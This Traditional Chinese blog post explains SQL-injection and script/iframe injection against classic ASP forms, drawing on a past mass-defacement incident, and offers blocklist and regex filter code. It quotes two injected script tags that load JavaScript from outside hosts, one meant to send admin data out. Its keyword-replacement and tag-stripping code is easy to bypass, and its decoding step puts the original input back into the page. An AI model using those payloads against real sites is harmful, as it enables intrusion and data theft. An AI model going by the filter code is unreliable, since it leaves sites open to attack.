twitter_bird  

ASP其實蠻好用的,大致上客戶的要求ASP都能完成
但是,安全性坦白說實在很差
很差的意思,並不是就不能用,是開發者得額外寫些什麼來補足安全性

所以有人跟你說新手學ASP最適合是不對的
反而是新手不適用ASP

新手寫ASP當然可以,但是會門戶全部開放
如果要去攻擊一個新手寫的ASP網站,那真是真太容易了

其實這樣說也不公平啦
新手寫的PHP照樣入侵容易
只不過不會有像SQL1344那種好笑的漏洞而已

不管是ASP或是PHP,JSP
表單有一項基本的安全守則
就是在網站首頁給他一個session()值
然後每個有用到表單或開到資料庫的網頁,全部都檢查有沒有這個session值
這可以防止有人,用程式直接寫循環程式直接灌你的資料庫
當然只有session()值,對想惡搞別人網站的IT而言,也不難,但他會很麻煩
這跟機車上大鎖一樣原理,小偷仍然開的了鎖,但他會評估麻煩的程度

外部源碼寫入攻擊

我在1996-2000年時最初在寫asp時,跟本不知道什麼叫做安全性

反正能把用戶的表單寫進SQL資料庫我就覺得我很厲害了

有一年,我一位醫師客戶的網站被駭客攻擊
那位醫師只是跟我抱怨網站變的很慢,我一看卻嚇了一跳,原始嗎密密麻麻全是javacode

有些人真的是很賤,他在人家網站給客戶填資料的表單上寫SQL語言
客戶表單的資料傳到後端時,是靠SQL語言寫入資料庫
而那些表單內容卻是一組SQL語言
他把文字欄位的資料庫全部加進一組javascript

我還記得是這樣

<script src=http://www.daxia123.com/daxia.js></script>

這是javascript引用外部檔案,就是用這個方法
所以網站被植必密密麻麻的命令,當有人去開這個網頁時,他的電腦就會被下載daxia123.js這個程式

這些駭客的心理層次真的很難理解
有些駭客駭進某些網站,或許有些利益
但大部份的攻擊,即自己沒任何利益可言,別人則是在那邊跳腳
如果真的說誰是獲利方,也只有寫防毒軟體的公司
那幹嘛替防毒或防火牆公司賺錢啊

那時候幾乎淪陷了數千數萬個網站,大陸最為嚴重
他們找到了daxia123這個網站(daxia是大俠的意思)
卻發現這個daxia123網站只是被當成駭客的硬碟將攻擊碼存在那裡而已

想起那時候真是悲慘,好不容易把被寫入的東西清掉,很快又會再被寫上去

當時很笨,其實要擋這種攻擊有很簡單很有效率的方法
只需在SQL上加上條件約束,禁止寫入"<script" 就行啦
但讓攻擊碼進SQL畢竟是件恐怖的事,還是在前端做第一道防線

前端則比較麻煩

主要是要過濾掉有人又惡意的寫入程式碼
首先是網頁要禁止從外部提交資料,其次就是收到資料後,把含有SQL命令的字串全部改寫
當這些資料要輸出至網頁時,再還原成原來的字串就行了

這方面大陸的開發者有很多討論
大陸網友的解決方法,蠻..有趣的
他們是過濾到含有SQL命令,就直接把該頁ban掉
這實在不是正確的方法
因為select update insert這些SQL命令,一般英文也很常用啊
萬一不是SQL攻擊,而只是他的訊息含有這些字元呢

剛剛很無聊,花了一些時間,重新寫表單的安全程式
寫在這裡當筆記
以後有用到再來抓

<%
Function sqlCode(Str)

if str <> "" then
sql_key = "'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare|&|"""""
sql_chg = "x'|a.nd|e.xec|i.nsert|s.elect|d.elete|u.pdate|c.ount|x*|x%|c.hr|m.id|m.aster|t.runcate|c.har|d.eclare|#@|#="
sql_k = split(sql_key,"|")
sql_c = split(sql_chg,"|")


For i=0 To Ubound(sql_k)
if instr(1,str,sql_k(i),1) > 0 then
str = replace(str,sql_k(i),sql_c(i),1,-1,1)
end if
next
end if

xStr = Str
end function


Function htmlCode(Str)
if str <> "" then
sql_chg = "'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare|&|"""""
sql_key= "x'|a.nd|e.xec|i.nsert|s.elect|d.elete|u.pdate|c.ount|x*|x%|c.hr|m.id|m.aster|t.runcate|c.har|d.eclare|#@|#="
sql_k = split(sql_key,"|")
sql_c = split(sql_chg,"|")


For i=0 To Ubound(sql_k)
if instr(1,str,sql_k(i),1) > 0 then
str = replace(str,sql_k(i),sql_c(i),1,-1,1)
end if
next
end if
xStr = Str
end function


xStr = request.form("a")
sqlCode(xStr)
prd_subtitle = xstr

response.write("安全碼用在SQL字串裡:" & prd_subtitle & "<br>")


htmlCode(prd_subtitle)
prd_subtitle = xstr

response.write("還原碼用在網頁的顯示:" & prd_subtitle & "<br>")

%>

執行結果

安全碼用在SQL字串裡:u.pdate from products Where mem=x*

還原碼用在網頁的顯示:update from products Where mem=*

 

好吧,如果客戶都是本地廠商,其實用到英文的機率也非常的低
如果純粹只是要移除SQL指令,則只需修改字串即可

如果輸入字串含有SQL的命令,假設是update好了
會被函式sqlCode,改成 u.pdate,如果是特殊符號則改成#*號
這樣進入rs.open命令,攻擊碼就會失效,這樣就搞不了蛋啦

當資料從SQL SELECT出來時,再用htmlCode函數,就能變回原來的文字

Script與iframe攻擊

但這不能防止,基本的script與iframe攻擊

所謂的script與iframe攻擊,就是在你的表單直接給你輸入javascript或iframe的指令
說穿了,駭客要破解網站多是靠這招
他先在你的網站的表單(如訊問信件)給你填入

請問<script src="http://211.123.11.13/a.js"></script>有收到我的訂單嗎?


網站的管理者,打開後台,開啟這封信,信件只會出現:請問有收到我的訂單嗎?的字樣
內部會去下載與執行a.js這支javascript程式
通常a.js這隻程式,即會將後台的資訊開始用request.querystring的方法,將後台的資訊送出去
request.querysting就是你常常看到,網址後面跟一串類似 ?a=123&b=456的字串

除了script攻擊之外,還有iframe攻擊

iframe是在網頁開一個洞,插入一段外部的網頁
這個洞是可以設定大小的,所以他可以用上述的方式,在你的後端開一個1pixel的洞,放入他的程式
網頁中有一個1pixel的洞跟本無法查覺

因此,對抗script與iframe的攻擊
表單必需有能力,將之移除掉
移除的方法是使用正規表示式,整個將之移除

Set objRegExp = New RegExp
objRegExp.IgnoreCase = True
objRegExp.Global = True
objRegExp.Pattern= "\<script.+?\<\/script\>"
str = objRegExp.Replace(str, "")
objRegExp.Pattern= "\<iframe.+?\<\/iframe\>"
str = objRegExp.Replace(str, "")
Set objRegExp = Nothing


這方式就能將script與iframe攻擊直接移除

以前的無名小站,眾美女們最愛將慾照或裸照放在自己的相簿裡
然後加密給男朋友共賞

有人就是用這個方法側錄被輸入的密碼
網站就會被破解

所以如果要擋SQL的攻擊碼,又要擋script與iframe的攻擊
程式該怎麼寫?

Function sqlCode(Str)
if str <> "" then
sql_key = "'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare|&|"""""
sql_chg = "x'|a.nd|e.xec|i.nsert|s.elect|d.elete|u.pdate|c.ount|x*|x%|c.hr|m.id|m.aster|t.runcate|c.har|d.eclare|#@|#="
sql_k = split(sql_key,"|")
sql_c = split(sql_chg,"|")

For i=0 To Ubound(sql_k)
if instr(1,str,sql_k(i),1) > 0 then
str = replace(str,sql_k(i),sql_c(i),1,-1,1)
end if
next
end if

Set objRegExp = New RegExp
objRegExp.IgnoreCase = True
objRegExp.Global = True
objRegExp.Pattern= "\<script.+?\<\/script\>" '移除script
str = objRegExp.Replace(str, "")
objRegExp.Pattern= "\<iframe.+?\<\/iframe\>" '移除iframe
str = objRegExp.Replace(str, "")
Set objRegExp = Nothing

xStr = Str
end function


Function htmlCode(Str)
if str <> "" then
sql_chg = "'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare|&|"""""
sql_key= "x'|a.nd|e.xec|i.nsert|s.elect|d.elete|u.pdate|c.ount|x*|x%|c.hr|m.id|m.aster|t.runcate|c.har|d.eclare|#@|#="
sql_k = split(sql_key,"|")
sql_c = split(sql_chg,"|")

For i=0 To Ubound(sql_k)
if instr(1,str,sql_k(i),1) > 0 then
str = replace(str,sql_k(i),sql_c(i),1,-1,1)
end if
next
end if
xStr = Str
end function

xStr = request.form("a")
sqlCode(xStr)
prd_subtitle = xstr

response.write("安全碼用在SQL字串裡:" & prd_subtitle & "<br>")

htmlCode(prd_subtitle)
prd_subtitle = xstr

response.write("還原碼用在網頁的顯示:" & prd_subtitle & "<br>")


直接將全部的HTML碼移除

當然你也可以直接將HTML的命令全部移除,這就很簡單了

Function stripTags( strToStrip )
Dim objRegExp
strToStrip = Trim( strToStrip & "" )
If Len( strToStrip ) > 0 Then
Set objRegExp = New RegExp
objRegExp.IgnoreCase = True
objRegExp.Global = True
objRegExp.Pattern= "<[^>]+>"
strToStrip = objRegExp.Replace(strToStrip, "")
Set objRegExp = Nothing
End If
stripTags = strToStrip
End Function
str="<p>Test paragraph.</p><!-- Comment --> <a href='#fragment'>Other text</a>"
response.write stripTags( str )

但這麼做,會使HTML碼全部被移除
有些經HTML編輯器的文章,會變成塊狀文字,變成沒有排版的文章
網頁就會修改不了

 

 

arrow
arrow
    全站熱搜

    半熟園丁 發表在 痞客邦 留言(0) 人氣()